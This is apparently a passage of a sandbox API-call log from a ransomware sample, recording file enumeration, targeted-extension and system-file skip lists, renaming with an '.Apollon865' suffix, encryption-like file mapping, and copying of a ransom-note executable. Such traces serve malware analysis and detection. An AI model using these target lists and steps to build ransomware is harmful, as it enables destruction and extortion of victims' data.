	[0062.969] lstrlenW (lpString="odb") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0062.969] lstrlenW (lpString="oqy") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0062.969] lstrlenW (lpString="ora") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0062.969] lstrlenW (lpString="orx") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0062.969] lstrlenW (lpString="owc") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0062.969] lstrlenW (lpString="p96") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0062.969] lstrlenW (lpString="p97") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0062.969] lstrlenW (lpString="pan") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0062.969] lstrlenW (lpString="pdb") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0062.969] lstrlenW (lpString="pdm") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0062.970] lstrlenW (lpString="pnz") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0062.970] lstrlenW (lpString="qry") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0062.970] lstrlenW (lpString="qvd") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0062.970] lstrlenW (lpString="rbf") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0062.970] lstrlenW (lpString="rctd") returned 4
	[0062.970] lstrcmpiW (lpString1="d-ms", lpString2="rctd") returned -1
	[0062.970] lstrlenW (lpString="rod") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0062.970] lstrlenW (lpString="rodx") returned 4
	[0062.970] lstrcmpiW (lpString1="d-ms", lpString2="rodx") returned -1
	[0062.970] lstrlenW (lpString="rpd") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0062.970] lstrlenW (lpString="rsd") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0062.970] lstrlenW (lpString="sas7bdat") returned 8
	[0062.970] lstrcmpiW (lpString1=".feed-ms", lpString2="sas7bdat") returned -1
	[0062.970] lstrlenW (lpString="sbf") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0062.970] lstrlenW (lpString="scx") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0062.970] lstrlenW (lpString="sdb") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0062.970] lstrlenW (lpString="sdc") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0062.970] lstrlenW (lpString="sdf") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0062.970] lstrlenW (lpString="sis") returned 3
	[0062.970] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0062.970] lstrlenW (lpString="spq") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0062.971] lstrlenW (lpString="te") returned 2
	[0062.971] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0062.971] lstrlenW (lpString="teacher") returned 7
	[0062.971] lstrcmpiW (lpString1="feed-ms", lpString2="teacher") returned -1
	[0062.971] lstrlenW (lpString="tmd") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0062.971] lstrlenW (lpString="tps") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0062.971] lstrlenW (lpString="trc") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0062.971] lstrlenW (lpString="trc") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0062.971] lstrlenW (lpString="trm") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0062.971] lstrlenW (lpString="udb") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0062.971] lstrlenW (lpString="udl") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0062.971] lstrlenW (lpString="usr") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0062.971] lstrlenW (lpString="v12") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0062.971] lstrlenW (lpString="vis") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0062.971] lstrlenW (lpString="vpd") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0062.971] lstrlenW (lpString="vvv") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0062.971] lstrlenW (lpString="wdb") returned 3
	[0062.971] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0062.971] lstrlenW (lpString="wmdb") returned 4
	[0062.971] lstrcmpiW (lpString1="d-ms", lpString2="wmdb") returned -1
	[0062.972] lstrlenW (lpString="wrk") returned 3
	[0062.972] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0062.972] lstrlenW (lpString="xdb") returned 3
	[0062.972] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0062.972] lstrlenW (lpString="xld") returned 3
	[0062.972] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0062.972] lstrlenW (lpString="xmlff") returned 5
	[0062.972] lstrcmpiW (lpString1="ed-ms", lpString2="xmlff") returned -1
	[0062.972] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.Apollon865") returned 135
	[0062.972] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms.apollon865"), dwFlags=0x1) returned 1
	[0062.975] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.975] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=28672) returned 1
	[0062.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0062.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0062.976] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0062.976] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0062.976] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0062.976] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0062.977] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7300, lpName=0x0) returned 0x154
	[0062.981] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7300) returned 0x100000
	[0062.983] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0062.984] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0062.984] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0062.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0062.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0062.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0062.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0062.984] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0062.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0062.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0062.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0062.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0062.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0062.985] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0062.985] CloseHandle (hObject=0x154) returned 1
	[0062.985] CloseHandle (hObject=0x118) returned 1
	[0062.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0062.985] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0062.986] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 0
	[0062.986] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.986] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a90
	[0062.986] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~"
	[0062.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0062.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0062.986] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 63
	[0062.986] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~"
	[0062.986] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.986] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0062.987] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0062.987] GetLastError () returned 0x0
	[0062.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0062.987] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0062.987] CloseHandle (hObject=0x15c) returned 1
	[0062.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0062.987] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.987] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2a6a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.987] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.987] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.987] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.987] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2a6a10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.987] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.987] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.987] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.987] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.987] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2a6a10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2a6a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.987] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.987] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="Apollon865.txt.exe") returned 1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".") returned 1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="..") returned 1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="windows") returned -1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="bootmgr") returned 1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="temp") returned -1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="pagefile.sys") returned -1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="boot") returned 1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="ids.txt") returned 1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="ntuser.dat") returned -1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="perflogs") returned -1
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2="MSBuild") returned -1
	[0062.988] lstrlenW (lpString="Microsoft at Home~.feed-ms") returned 26
	[0062.988] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*") returned 65
	[0062.988] lstrcpyW (in: lpString1=0x119e688, lpString2="Microsoft at Home~.feed-ms" | out: lpString1="Microsoft at Home~.feed-ms") returned="Microsoft at Home~.feed-ms"
	[0062.988] lstrlenW (lpString="Microsoft at Home~.feed-ms") returned 26
	[0062.988] lstrlenW (lpString="Apollon865") returned 10
	[0062.988] lstrcmpiW (lpString1="e~.feed-ms", lpString2="Apollon865") returned 1
	[0062.988] lstrlenW (lpString=".dll") returned 4
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".dll") returned 1
	[0062.988] lstrlenW (lpString=".lnk") returned 4
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".lnk") returned 1
	[0062.988] lstrlenW (lpString=".ini") returned 4
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".ini") returned 1
	[0062.988] lstrlenW (lpString=".sys") returned 4
	[0062.988] lstrcmpiW (lpString1="Microsoft at Home~.feed-ms", lpString2=".sys") returned 1
	[0062.988] lstrlenW (lpString="Microsoft at Home~.feed-ms") returned 26
	[0062.988] lstrlenW (lpString="bak") returned 3
	[0062.988] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0062.988] lstrlenW (lpString="ba_") returned 3
	[0062.988] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0062.989] lstrlenW (lpString="dbb") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0062.989] lstrlenW (lpString="vmdk") returned 4
	[0062.989] lstrcmpiW (lpString1="d-ms", lpString2="vmdk") returned -1
	[0062.989] lstrlenW (lpString="rar") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0062.989] lstrlenW (lpString="zip") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0062.989] lstrlenW (lpString="tgz") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0062.989] lstrlenW (lpString="vbox") returned 4
	[0062.989] lstrcmpiW (lpString1="d-ms", lpString2="vbox") returned -1
	[0062.989] lstrlenW (lpString="vdi") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0062.989] lstrlenW (lpString="vhd") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0062.989] lstrlenW (lpString="vhdx") returned 4
	[0062.989] lstrcmpiW (lpString1="d-ms", lpString2="vhdx") returned -1
	[0062.989] lstrlenW (lpString="avhd") returned 4
	[0062.989] lstrcmpiW (lpString1="d-ms", lpString2="avhd") returned 1
	[0062.989] lstrlenW (lpString="db") returned 2
	[0062.989] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0062.989] lstrlenW (lpString="db2") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0062.989] lstrlenW (lpString="db3") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0062.989] lstrlenW (lpString="dbf") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0062.989] lstrlenW (lpString="mdf") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0062.989] lstrlenW (lpString="mdb") returned 3
	[0062.989] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0062.989] lstrlenW (lpString="sql") returned 3
	[0062.990] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0062.990] lstrlenW (lpString="sqlite") returned 6
	[0062.990] lstrcmpiW (lpString1="eed-ms", lpString2="sqlite") returned -1
	[0062.990] lstrlenW (lpString="sqlite3") returned 7
	[0062.990] lstrcmpiW (lpString1="feed-ms", lpString2="sqlite3") returned -1
	[0062.990] lstrlenW (lpString="sqlitedb") returned 8
	[0062.990] lstrcmpiW (lpString1=".feed-ms", lpString2="sqlitedb") returned -1
	[0062.990] lstrlenW (lpString="xml") returned 3
	[0062.990] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0062.990] lstrlenW (lpString="$er") returned 3
	[0062.990] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0062.990] lstrlenW (lpString="4dd") returned 3
	[0062.990] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0062.990] lstrlenW (lpString="4dl") returned 3
	[0062.990] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0062.990] lstrlenW (lpString="^^^") returned 3
	[0062.990] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0062.990] lstrlenW (lpString="abs") returned 3
	[0062.990] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0062.990] lstrlenW (lpString="abx") returned 3
	[0062.990] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0062.990] lstrlenW (lpString="accdb") returned 5
	[0062.990] lstrcmpiW (lpString1="ed-ms", lpString2="accdb") returned 1
	[0062.990] lstrlenW (lpString="accdc") returned 5
	[0062.990] lstrcmpiW (lpString1="ed-ms", lpString2="accdc") returned 1
	[0062.990] lstrlenW (lpString="accde") returned 5
	[0062.990] lstrcmpiW (lpString1="ed-ms", lpString2="accde") returned 1
	[0062.990] lstrlenW (lpString="accdr") returned 5
	[0062.990] lstrcmpiW (lpString1="ed-ms", lpString2="accdr") returned 1
	[0062.990] lstrlenW (lpString="accdt") returned 5
	[0062.990] lstrcmpiW (lpString1="ed-ms", lpString2="accdt") returned 1
	[0062.990] lstrlenW (lpString="accdw") returned 5
	[0062.990] lstrcmpiW (lpString1="ed-ms", lpString2="accdw") returned 1
	[0062.990] lstrlenW (lpString="accft") returned 5
	[0062.991] lstrcmpiW (lpString1="ed-ms", lpString2="accft") returned 1
	[0062.991] lstrlenW (lpString="adb") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0062.991] lstrlenW (lpString="adb") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0062.991] lstrlenW (lpString="ade") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0062.991] lstrlenW (lpString="adf") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0062.991] lstrlenW (lpString="adn") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0062.991] lstrlenW (lpString="adp") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0062.991] lstrlenW (lpString="alf") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0062.991] lstrlenW (lpString="ask") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0062.991] lstrlenW (lpString="btr") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0062.991] lstrlenW (lpString="cat") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0062.991] lstrlenW (lpString="cdb") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0062.991] lstrlenW (lpString="ckp") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0062.991] lstrlenW (lpString="cma") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0062.991] lstrlenW (lpString="cpd") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0062.991] lstrlenW (lpString="dacpac") returned 6
	[0062.991] lstrcmpiW (lpString1="eed-ms", lpString2="dacpac") returned 1
	[0062.991] lstrlenW (lpString="dad") returned 3
	[0062.991] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0062.992] lstrlenW (lpString="dadiagrams") returned 10
	[0062.992] lstrcmpiW (lpString1="e~.feed-ms", lpString2="dadiagrams") returned 1
	[0062.992] lstrlenW (lpString="daschema") returned 8
	[0062.992] lstrcmpiW (lpString1=".feed-ms", lpString2="daschema") returned -1
	[0062.992] lstrlenW (lpString="db-journal") returned 10
	[0062.992] lstrcmpiW (lpString1="e~.feed-ms", lpString2="db-journal") returned 1
	[0062.992] lstrlenW (lpString="db-shm") returned 6
	[0062.992] lstrcmpiW (lpString1="eed-ms", lpString2="db-shm") returned 1
	[0062.992] lstrlenW (lpString="db-wal") returned 6
	[0062.992] lstrcmpiW (lpString1="eed-ms", lpString2="db-wal") returned 1
	[0062.992] lstrlenW (lpString="dbc") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0062.992] lstrlenW (lpString="dbs") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0062.992] lstrlenW (lpString="dbt") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0062.992] lstrlenW (lpString="dbv") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0062.992] lstrlenW (lpString="dbx") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0062.992] lstrlenW (lpString="dcb") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0062.992] lstrlenW (lpString="dct") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0062.992] lstrlenW (lpString="dcx") returned 3
	[0062.992] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
